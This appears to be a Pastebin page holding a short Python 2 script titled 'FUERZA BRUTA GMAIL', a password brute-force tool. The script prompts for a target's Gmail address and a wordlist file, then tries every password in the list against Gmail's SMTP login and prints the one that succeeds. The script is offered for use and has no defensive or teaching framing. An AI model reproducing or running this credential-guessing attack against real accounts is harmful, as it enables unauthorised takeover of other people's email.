Advertisement
CreadPag

FUERZA BRUTA GMAIL

Sep 19th, 2016
1,105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.54 KB | None | 0 0
  1.  
  2. import smtplib
  3.  
  4. smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
  5. smtpserver.ehlo()
  6. smtpserver.starttls()
  7.  
  8. user = raw_input("Enter the target's email address: ")
  9. passwfile = raw_input("Enter the password file name: ")
  10. passwfile = open(passwfile, "r")
  11.  
  12. for password in passwfile:
  13.         try:
  14.                 smtpserver.login(user, password)
  15.  
  16.                 print "[+] Password Found: %s" % password
  17.                 break;
  18.         except smtplib.SMTPAuthenticationError:
  19.                 print "[!] Password Incorrect: %s" % password
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement